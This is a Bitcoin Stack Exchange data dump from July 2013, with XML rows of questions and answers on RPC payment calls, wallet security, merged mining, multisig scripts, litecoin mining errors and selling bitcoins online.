  <row Id="12393" PostTypeId="1" AcceptedAnswerId="12401" CreationDate="2013-07-29T20:37:56.587" Score="1" ViewCount="1639" Body="&lt;p&gt;I am working with Infinitecoin (another bitcoin fork).&lt;br&gt;&#xA;This is my first attempt to make a crypto currency based website.&lt;br&gt;&#xA;I use PHP with JSON RPC calls.&#xA;In this particular case, I want to use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$payment_tx = $ifc-&amp;gt;sendtoaddress($account['address'], $to_send);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;($ifc is the object returned by the jsonRPcclient() connection)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sendtoaddress()&lt;/code&gt; description states :    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;$amount is a real and is rounded to 8 decimal places.&lt;/em&gt;&lt;br&gt;&#xA;So I formatted &quot;$to_send&quot; as precised in the description, but i'm still getting  :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Stack trace: #0 /opt/lampp/htdocs/site/process_payment.php(30): jsonRPCClient-&gt;__call('sendtoaddress', Array) #1 /opt/lampp/htdocs/site/process_payment.php(30): jsonRPCClient-&gt;sendtoaddress('iKCBBVAfacVuabG...', '10920.00000000') #2 {main} thrown in /opt/lampp/htdocs/site/jsonRPCClient.php on line 140*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really don't understand why, because I intend to send exactly 10920 Infinitecoins to the address starting with iKCBBVAfacVuabG ... and this is formatted the right way, right?&lt;br&gt;&#xA;I also want to be able to send IFC amounts up to several millions. How ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I do the formatting :  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$to_send = sprintf(&quot;%.8f&quot;, floatval($amount));  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$amount is retrieved from a database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please can somebody enlighten me with what am I doing wrong ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can offer some IFC as a thank for your help, if someone want some. :-)&lt;/p&gt;&#xA;" OwnerUserId="6129" LastEditorUserId="6129" LastEditDate="2013-07-29T21:09:06.267" LastActivityDate="2013-07-30T08:24:07.333" Title="Sending very big amount with sendtoaddress RPC call" Tags="|json-rpc|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12395" PostTypeId="1" CreationDate="2013-07-29T23:21:06.073" Score="5" ViewCount="1367" Body="&lt;p&gt;I want to test out a few trading ideas for bitcoin. It seems to work on a small time horizon, and I'd like to backtest the past year or so of MtGox data. Is there a service that provides this? If not, is there a place I can buy the historical data dump?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like there are several projects around getting mtgox historical data out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nitrous' MtGox Trades Tool: This one seems to be the most useful to my needs. You get a dump, and can manipulate the data to create candles for backtesting. &lt;a href=&quot;https://bitbucket.org/nitrous/bq&quot;&gt;https://bitbucket.org/nitrous/bq&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are more into Quantopian, there is a way to use weighted daily pricing data already imported: &lt;a href=&quot;https://www.quantopian.com/posts/anyway-to-import-bitcoin-data&quot;&gt;https://www.quantopian.com/posts/anyway-to-import-bitcoin-data&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4368" LastEditorUserId="4368" LastEditDate="2013-07-30T04:17:09.903" LastActivityDate="2014-08-30T12:59:06.130" Title="Backtesting mtgox for historical trade analysis?" Tags="|mtgox|trading|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12397" PostTypeId="1" AcceptedAnswerId="34144" CreationDate="2013-07-30T02:29:13.633" Score="5" ViewCount="268" Body="&lt;p&gt;I've read the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/273/how-does-merged-mining-work&quot;&gt;how does merged mining work?&lt;/a&gt; thread and I'm a bit confused as to how one of the transactions in the bitcoin block &quot;stores&quot; the hash of the Namecoin block. Where is this information stored in the transaction sent to the bitcoin network? As a recipient address? Somewhere else? &lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-01-22T22:24:37.173" Title="How does a miner insert the hash of a merged-mined alt chain's transaction into a Bitcoin transaction?" Tags="|mining-pools|merged-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12398" PostTypeId="1" AcceptedAnswerId="12406" CreationDate="2013-07-30T06:33:06.923" Score="2" ViewCount="360" Body="&lt;p&gt;I'm building a web app making JSON-RPC calls to the bitcoind server. I have security concerns on how to protect the wallet.dat file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm encrypting the directory where wallet.dat will be. &#xA;Should I also use the bitcoind encryptwallet command? &#xA;When using Bitcoin client wallets like Electrum every time I send BTC it asks me for my password. Building a web app where users will have their own account (and addresses) should a bitcoind password be used? Does bitcoind store the private keys for every public address generated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5104" LastActivityDate="2013-07-30T19:28:13.303" Title="Securing web app wallet.dat (Ubuntu)" Tags="|ubuntu|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12399" PostTypeId="1" CreationDate="2013-07-30T06:42:53.913" Score="4" ViewCount="2049" Body="&lt;p&gt;The Bitcoin API call of &lt;code&gt;createmultisig&lt;/code&gt; returns two parameters - &lt;code&gt;address&lt;/code&gt; and &lt;code&gt;redeemScript&lt;/code&gt;. What is the latter used for?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-12-25T19:51:18.737" Title="Bitcoin API - createmultisig - what is redeemScript?" Tags="|development|bitcoin-core|api|multi-signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12400" PostTypeId="2" ParentId="12399" CreationDate="2013-07-30T07:23:04.730" Score="3" Body="&lt;p&gt;To really understand this, you would need to &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;read the protocol specs&lt;/a&gt;.  But I'll describe it briefly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each transaction contains a script.  In order to claim the bitcoins from a transaction (e.g.: you want to spend them in a new transaction) you have to provide whatever proof is described by the script.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, the script is pretty much the same: the intended recipient has to provide a digital signature that proves they own the destination address.  But you can requires a lot of different kinds of proof: require more signatories, no proof at all, or require the claimant to solve a puzzle.&lt;/p&gt;&#xA;" OwnerUserId="4139" LastActivityDate="2013-07-30T07:23:04.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12401" PostTypeId="2" ParentId="12393" CreationDate="2013-07-30T08:09:44.910" Score="3" Body="&lt;p&gt;you are trying to send amount as string. Sprintf returns string.&#xA;You need to send amount as double (in PHP double == float).&lt;br&gt;&#xA;Try this way:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$payment_tx = $ifc-&amp;gt;sendtoaddress($account['address'], (double)$to_send);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't work, use move at first, because sending can fail under many circumstances, while move always works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are done with that, please read my question about further problems with precision: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12392/can-i-force-json-encode-in-php-to-output-8-digits-after-dot-for-rpc&quot;&gt;Can I force json_encode in PHP to output 8 digits after dot for RPC?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6128" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-07-30T08:24:07.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12402" PostTypeId="1" CreationDate="2013-07-30T11:09:12.873" Score="2" ViewCount="4404" Body="&lt;p&gt;My Bitcoin-Qt client is still synchronizing with the network. I'm unsure of how to use my Bitcoin-Qt wallet address on &lt;a href=&quot;http://en.wikipedia.org/wiki/Blockchain.info&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt;. I've put my address on Blockchain.info as (watch only), but how do I get full access to my wallet on Blockchain.info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have a passphrase and the wallet is locked. Does Bitcoin-Qt need to be fully synchronized with the network for me to be able to access my wallet?&lt;/p&gt;&#xA;" OwnerUserId="6135" LastEditorUserId="1405" LastEditDate="2014-01-16T00:26:27.020" LastActivityDate="2014-11-12T04:53:45.243" Title="How do I use my Bitcoin-Qt wallet address on Blockchain.info?" Tags="|wallet|blockchain.info|passphrase|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12403" PostTypeId="1" CreationDate="2013-07-30T12:48:19.020" Score="1" ViewCount="1491" Body="&lt;p&gt;I am trying to put a donation button on a web page.  I copied and pasted the code obtained by clicking the &lt;code&gt;Donation Button&lt;/code&gt; on this page: &lt;a href=&quot;https://blockchain.info/address/1BgggUDmCf18DTvNQvkSEyNEmofojaTeek&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1BgggUDmCf18DTvNQvkSEyNEmofojaTeek&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting page is: &lt;a href=&quot;https://tiferesyisroel.org/donate-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;https://tiferesyisroel.org/donate-bitcoin.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I try to test this in Firefox by clicking on the &lt;code&gt;Dontate&lt;/code&gt; image, the image simply disappears.  When I investigate in Firebug I see that when I click, the browser is getting a 404 when it tries to do a GET from blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I test the page in Chrome I get a &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2015-05-28T20:36:16.560" Title="trying to use blockchain.info donate button" Tags="|api|blockchain.info|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12404" PostTypeId="2" ParentId="12402" CreationDate="2013-07-30T19:06:06.467" Score="1" Body="&lt;p&gt;You have to unlock your wallet, export the private key for your address and then import it to Blockchain.info. You don't even need Bitcoin-Qt then, because &lt;strong&gt;&lt;em&gt;they&lt;/em&gt;&lt;/strong&gt; store your privkey and your &lt;strong&gt;&lt;em&gt;money&lt;/em&gt;&lt;/strong&gt;!&lt;/p&gt;&#xA;" OwnerUserId="6128" LastEditorUserId="1405" LastEditDate="2014-01-16T00:26:23.770" LastActivityDate="2014-01-16T00:26:23.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12405" PostTypeId="2" ParentId="12381" CreationDate="2013-07-30T19:18:55.367" Score="0" Body="&lt;p&gt;Have you seen some apps using barcode scanner?&#xA;I would definitely do it via intent to such app.&#xA;I haven't seen such a feature, but it should be in some wallets.&#xA;Please note that people are using QR codes to create Donate! button, so there must be a popular wallet that scans them in order to donate, so it's plausible that you can send an intent to this wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can create QR code (hidden) in your app, send it to wallet app, which will scan it :).&#xA;It is not clear solution, but you see it is possible right now.&#xA;Best regards&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-07-30T19:18:55.367" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12406" PostTypeId="2" ParentId="12398" CreationDate="2013-07-30T19:28:13.303" Score="0" Body="&lt;p&gt;Yes for all your questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose you don't encrypt wallet, if someone access your computer with unlocked bitcoin directory (such directory must be readable for running bitcoin) he can steal your BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be better just to encrypt wallet and leave unencrypted directory. He can steal encrypted wallet.dat, which isn't useful.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-07-30T19:28:13.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12409" PostTypeId="1" CreationDate="2013-07-31T02:06:48.990" Score="-1" ViewCount="226" Body="&lt;p&gt;iv transferred 2 bitcoins in to deposit address with a hosted (shared) E-Wallet service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;blockchain clearly shows its there but when im in the E-Wallet service its not showing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any know what the glitch is? or problem? and also the transaction apparently failed. yet the bitcoins are gone and on the account i wanted them on but there invisible to my E-Wallet service.&lt;/p&gt;&#xA;" OwnerUserId="6135" LastEditorUserId="153" LastEditDate="2013-08-01T00:00:09.643" LastActivityDate="2013-08-01T00:03:28.363" Title="why wont my hosted (shared) E-Wallet account show my bitcoin balance?" Tags="|transactions|blockchain|difficulty|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12410" PostTypeId="2" ParentId="11992" CreationDate="2013-07-31T06:38:08.310" Score="2" Body="&lt;p&gt;Yeah, you can play casino games using bitcoins just make sure that the particular casino you are playing for accepts bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of bitcoin casino online what matter is that you have to find which bitcoin casino fits for you and the one that you can truly understand.&lt;/p&gt;&#xA;" OwnerUserId="6143" LastActivityDate="2013-07-31T06:38:08.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12411" PostTypeId="1" AcceptedAnswerId="12432" CreationDate="2013-07-31T07:44:31.293" Score="1" ViewCount="338" Body="&lt;p&gt;I have a very simple question, but didn't find a answer with google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i backup only my private key, it is possible to restore my addresses with bitcoins on it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: I have generated 1.000 address not in the Client. Then some one sent 3 BTC to one of these addresses. Get the Bitcoin-Client the address with the 3 BTC automatically or only when i import the address?&lt;/p&gt;&#xA;" OwnerUserId="6144" LastActivityDate="2013-08-01T00:08:36.760" Title="&quot;Restore&quot; addresses with the privat key" Tags="|address|private-key|" AnswerCount="2" CommentCount="4" ClosedDate="2013-09-05T03:23:44.287" ContentLicense="CC BY-SA 3.0" />
  <row Id="12413" PostTypeId="1" AcceptedAnswerId="12454" CreationDate="2013-07-31T09:15:53.843" Score="0" ViewCount="11743" Body="&lt;p&gt;i have run through &lt;a href=&quot;http://cryptocur.com/litecoin/litecoin-mining/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; tutorial but when i run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c:\ltcminer\minerd.exe -a scrypt -r 1 -t 4 -s 6 -o http://127.0.0.1:9332 -O pete345234.2:1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i get errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;json_rpc_call failed, retry after 30 seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;do i need to use the litecoinpool.org url instead of &lt;code&gt;127.0.0.1&lt;/code&gt;? also does the password matter for minerd.exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm a bit stuck...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i changed the command to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c:\ltcminer\minerd.exe -a scrypt -r 1 -t 4 -s 6 -o us2.litecoinpool.org:9332 -O pete345234.2:1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but still the response is the same error message.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="5406" LastEditDate="2016-04-28T14:13:41.423" LastActivityDate="2016-04-28T14:13:41.423" Title="litecoin minerd errors" Tags="|litecoin|miner-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12414" PostTypeId="2" ParentId="12413" CreationDate="2013-07-31T10:31:20.763" Score="0" Body="&lt;p&gt;Yes, use your pool adress instead of yours.&#xA;Password usually doesn't matter, however you can set it on pool website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tutorial shows creating your own pool, but since this question also shows that you are a begginer, start by mining by someone else.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-07-31T10:31:20.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12415" PostTypeId="2" ParentId="11992" CreationDate="2013-07-31T10:41:09.817" Score="0" Body="&lt;p&gt;You can and it even better than playing for $ because you can play casino games without registering to the site and without downloading any software for playing, although not all sites gives this option but there a few sites that you can play there instantly and the withdraw of your wins (if there are any .. :-) ) are almost instant as well.&#xA;you can try this &lt;a href=&quot;http://www.thebitgames.com/&quot; rel=&quot;nofollow&quot;&gt; bitcoin casino &lt;/a&gt; web site, which i personally like and played there a lot.&lt;/p&gt;&#xA;" OwnerUserId="6147" LastActivityDate="2013-07-31T10:41:09.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12416" PostTypeId="1" CreationDate="2013-07-31T10:49:52.800" Score="4" ViewCount="542" Body="&lt;p&gt;I'm just learning/getting started with bitcoin and one thing that's obvious straight away, is that the more computational power you can throw at it (with the cheapest energy possible), the more coins you can make.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lots of people mining coins (myself included) just appear to be hobbyists - maybe with some nice equipment, but nonetheless, not 'industrial-scale'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why aren't there companies investing millions in solar panels and ACIS machines to mine bitcoins? Wouldn't someone that invested a few million (or more) in a setup like that &lt;em&gt;monopolize&lt;/em&gt; bitcoin, in a manner of speaking? (Until people investing equally large amounts?). It'd raise the difficulty beyond what hobbyists could afford to make BTC profitable for them to mine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe millions isn't enough, what if someone spent BILLIONS doing this? Would it have the effect I suspect?&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="5406" LastEditDate="2016-04-17T18:58:22.663" LastActivityDate="2016-04-17T18:58:22.663" Title="Why hasn't bitcoin mining been scaled / wouldn't that ruin the concept?" Tags="|mining-hardware|economic-theory|bitcoin-economy|investing|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12418" PostTypeId="2" ParentId="12416" CreationDate="2013-07-31T12:30:49.940" Score="2" Body="&lt;p&gt;The Bitcoin network automatically adjusts &quot;difficulty&quot; to produce a block every 10 minutes on average. As the difficulty rises it takes many more hashing attempts to find a block, so no matter how many exaflops in the network (we are already over 1) the number of coins will still be around 3600 daily (until the reward halves again.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only advantage to scaling is if you can scale faster and cheaper than the other miners, and even they you will only see an earning advantage until the difficulty changes and/or the competition steps up and matches their increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technical Explaination of the mechanism:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Difficulty&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More detailed and descriptive link for newcomers:&#xA;&lt;a href=&quot;http://coin.furuknap.net/understanding-bitcoin-mining-difficulty/&quot; rel=&quot;nofollow&quot;&gt;http://coin.furuknap.net/understanding-bitcoin-mining-difficulty/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-07-31T12:30:49.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12419" PostTypeId="1" CreationDate="2013-07-31T14:20:11.563" Score="3" ViewCount="1020" Body="&lt;p&gt;I'm interested in selling Bitcoins online, probably through LocalBitcoins, but worried about getting scammed. Does anyone have  techniques to share regarding what worked well for them to sell BTC online?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at the OKPay, PerfectMoney, and MoneyPak &lt;a href=&quot;https://en.bitcoin.it/wiki/Payment_methods&quot; rel=&quot;nofollow&quot;&gt;payment methods&lt;/a&gt;. They seem like a hassle to setup. Do they work well?&lt;/p&gt;&#xA;" OwnerUserId="841" LastEditorUserId="841" LastEditDate="2013-07-31T14:37:41.653" LastActivityDate="2023-02-14T09:13:36.863" Title="Good way to sell Bitcoins online?" Tags="|sell-bitcoins|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12420" PostTypeId="2" ParentId="12381" CreationDate="2013-07-31T14:23:43.337" Score="1" Body="&lt;p&gt;The answer is the &lt;strong&gt;integration-android&lt;/strong&gt; subproject of bitcoin-wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with the source repository for&#xA;&lt;a href=&quot;https://code.google.com/p/bitcoin-wallet/&quot; rel=&quot;nofollow&quot;&gt;the Bitcoin Wallet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code for in-app payments is in the &lt;a href=&quot;https://code.google.com/p/bitcoin-wallet/source/browse/integration-android/src/de/schildbach/wallet/integration/android/BitcoinIntegration.java&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BitcoinIntegration.java&lt;/code&gt;&lt;/a&gt; file, which is under the &lt;code&gt;integration-android&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions for compiling this subproject and example source code for using it are given in &lt;a href=&quot;http://schildbach.de/talks/bitcoin-inapp-payments/&quot; rel=&quot;nofollow&quot;&gt;this slide presentation by Mr. Schildbach&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a &lt;a href=&quot;https://code.google.com/p/bitcoin-wallet/source/browse/#git%2Fsample-integration-android&quot; rel=&quot;nofollow&quot;&gt;sample android app&lt;/a&gt; that demonstrates this feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thanks to Andreas Schildbach for personally sending me the answer to this question!&lt;/p&gt;&#xA;" OwnerUserId="6122" LastActivityDate="2013-07-31T14:23:43.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12421" PostTypeId="2" ParentId="12419" CreationDate="2013-07-31T14:49:36.517" Score="2" Body="&lt;p&gt;The most important to secure online transactions in bitcoin trade is that you use irreversible payment methods. Otherwise, the disparity between irreversible bitcoin transactions and reversible soft money transactions opens the bitcoin seller up for fraud. Reversible - irreversible payment method scale is called &quot;&lt;a href=&quot;http://stakeventures.com/articles/2012/03/07/the-may-scale-of-money-hardness-and-bitcoin&quot; rel=&quot;nofollow&quot;&gt;money hardness&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The safe online payment methods include&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/sell-bitcoins-online/cash-deposit/&quot; rel=&quot;nofollow&quot;&gt;Cash deposits&lt;/a&gt; (thus far the safest, popular in US)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/sell-bitcoins-online/okpay/&quot; rel=&quot;nofollow&quot;&gt;OKPay&lt;/a&gt; (advertises itself to be irreversible, not available in US)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Experienced traders are trading with very fraud sensitive methods like PayPal. However, they usually do identification checks or similar to further have guarantees against spammers.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://localbitcoins.com/forums/#!/trading#getting-paypal-scammedive&quot; rel=&quot;nofollow&quot;&gt;Some tips how to avoid fraud with bitcoin and PayPal&lt;/a&gt; (applies to all other payment methods too)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2013-08-19T20:05:43.747" LastActivityDate="2013-08-19T20:05:43.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12423" PostTypeId="2" ParentId="9233" CreationDate="2013-07-31T15:37:01.170" Score="2" Body="&lt;p&gt;every business is composition of &lt;a href=&quot;https://en.wikipedia.org/wiki/Capital_expenditure&quot; rel=&quot;nofollow&quot;&gt;CAPEX&lt;/a&gt;es and &lt;a href=&quot;https://en.wikipedia.org/wiki/Operating_expense&quot; rel=&quot;nofollow&quot;&gt;OPEX&lt;/a&gt;es vs profit. There are certain places in the world, where electricity and cooling and network access and basic security (main opexes) will be more expensive than profit. The topic of electricity price had been discussed already on BitcoinTalk, since than bitcoin price vs utility price ratio could change. In other words, if it is profitable in your place, it might be complete money loss in another place.&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2013-07-31T15:37:01.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12425" PostTypeId="5" CreationDate="2013-07-31T16:01:25.210" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-31T16:01:25.210" LastActivityDate="2013-07-31T16:01:25.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12426" PostTypeId="4" CreationDate="2013-07-31T16:01:25.210" Score="0" Body="Relates to the selling of bitcoins in person or online" OwnerUserId="841" LastEditorUserId="516" LastEditDate="2013-08-01T04:04:17.370" LastActivityDate="2013-08-01T04:04:17.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12427" PostTypeId="1" AcceptedAnswerId="13347" CreationDate="2013-07-31T17:24:43.420" Score="71" ViewCount="95453" Body="&lt;p&gt;I'm trying to figure out how the blockchain works and how to read it via blockchain.info website. Is there a laymen way of explaining how the block chain works and how to read the blockchain to trace transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I know so far is:&#xA;the blockchain is just a public ledger of transactions on the bitcoin network.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2024-02-23T18:04:17.973" Title="Can someone explain how the Bitcoin Blockchain works?" Tags="|blockchain|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12428" PostTypeId="1" CreationDate="2013-07-31T18:04:41.317" Score="2" ViewCount="513" Body="&lt;p&gt;I just learned of Ripple and it still seems a bit fuzzy to grasp the concept, but from what I gathered so far its a decentralized exchange that basically has the potential to overtake Bitpay and Mt.gox. I read that there are Gateway points that do the currency conversions from bitcoin to fiat. Now the other question I have is how does Ripple derive the bitcoin exchange price if everyone starts abandoning traditional exchanges that kind of dictate the price exchanges from fiat to btc. Obviously not everyone is going to abandon those exchanges anytime soon.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-11-29T09:23:33.480" Title="Is Ripple an anti central exchange that makes Bitpay and Mt.gox almost obsolete?" Tags="|ripple|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12432" PostTypeId="2" ParentId="12411" CreationDate="2013-07-31T19:02:23.097" Score="1" Body="&lt;p&gt;Wait...&lt;br&gt;&#xA;One private key &amp;lt;=&gt; one address.&#xA;You can restore by import privkey to bitcoind.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-07-31T19:02:23.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12433" PostTypeId="2" ParentId="12280" CreationDate="2013-07-31T19:07:28.190" Score="-2" Body="&lt;p&gt;It is not possible.&lt;br&gt;&#xA;You need to write your own software for this.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround, maybe you can import this receiving address to spending wallet?&lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-07-31T19:07:28.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12434" PostTypeId="2" ParentId="12389" CreationDate="2013-07-31T19:18:45.490" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&#xA;Those are rules about calculating fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering algorithms, i think you should check all possiblities (brute-force) or it could be also some kind of knapsack problem.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-07-31T19:18:45.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
